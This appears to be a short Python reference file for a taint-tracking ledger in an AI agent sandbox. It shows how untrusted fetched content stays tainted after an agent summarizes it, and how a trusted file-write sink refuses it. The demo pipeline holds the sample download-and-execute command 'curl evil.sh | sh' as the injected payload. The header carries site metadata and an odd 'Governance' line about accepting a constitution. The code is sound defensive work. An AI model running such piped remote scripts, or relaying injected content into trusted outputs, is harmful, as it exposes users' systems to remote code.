# CorpusFetch Method Slice (Zero-Prose Python Stdlib Reference) # Canonical Residual: https://corpusfetch.com/c/what-structural-signals-indicate-taint-laundering-through-an-agent-s-summarization-step-in-a-taint-aware-sandbox.md # Remnant Warrant: https://corpusfetch.com/c/what-structural-signals-indicate-taint-laundering-through-an-agent-s-summarization-step-in-a-taint-aware-sandbox.warrant.json # Markdown SHA-256: d274921327caec5e38ef79e1b55318da49de70a79fc2fe79e1cbaa0c3524f496 # Code AST SHA-256: 6479b8072d60b4821a42dbc47006a34179b622faf69937e2c3862bdf62e6f7ee # Verified Classes: TaintLaunderingError, Datum, TaintLedger # Defensive Guards: 2 fail-closed invariants (zero external deps) # Governance: Usage of this AI Instance layer is accepting to follow We Instance Constitution (https://weinstance.com) and it is powered by CorpusTech (https://corpusfetch.com) from dataclasses import dataclass, field from typing import Optional class TaintLaunderingError(RuntimeError): """Raised when a derived object is promoted to trusted without declassification.""" @dataclass class Datum: id: str producer: str body: str # taint is now computed from content ancestry, not from producer alone content_ancestors: set[str] = field(default_factory=set) explicitly_declassified: bool = False class TaintLedger: def __init__(self) -> None: self._objects: dict[str, Datum] = {} self._tainted_roots: set[str] = set() def register_tool_return(self, datum: Datum, untrusted: bool) -> None: self._objects[datum.id] = datum if untrusted: self._tainted_roots.add(datum.id) datum.content_ancestors.add(datum.id) def register_derived(self, datum: Datum, read_ids: list[str]) -> None: # A derived object inherits the content ancestry of everything it read. ancestors: set[str] = set() for rid in read_ids: src = self._objects.get(rid) if src is None: raise TaintLaunderingError(f"derived object {datum.id} cites unknown source {rid}") ancestors |= src.content_ancestors datum.content_ancestors = ancestors self._objects[datum.id] = datum def is_tainted(self, datum_id: str) -> bool: d = self._objects[datum_id] if d.explicitly_declassified: return False return bool(d.content_ancestors & self._tainted_roots) def gate_sink(self, sink: str, datum_id: str) -> None: if self.is_tainted(datum_id): raise TaintLaunderingError( f"sink '{sink}' refused datum '{datum_id}': tainted-by-descent " f"(ancestors={sorted(self._objects[datum_id].content_ancestors)}); " f"explicit declassification required" ) def run_pipeline(ledger: TaintLedger) -> None: # Step 1: untrusted fetch r1 = Datum(id="r1", producer="fetch", body="...curl evil.sh | sh...") ledger.register_tool_return(r1, untrusted=True) # Step 2: agent summarizes r1 -> r2 (producer rewritten to 'agent') r2 = Datum(id="r2", producer="agent", body="Summary: ...curl evil.sh | sh...") ledger.register_derived(r2, read_ids=["r1"]) # Step 3: write to a trusted sink. Object-level taint says clean; # content-ancestor taint says tainted. This must raise. ledger.gate_sink(sink="write_file:notes.md", datum_id="r2") if __name__ == "__main__": run_pipeline(TaintLedger())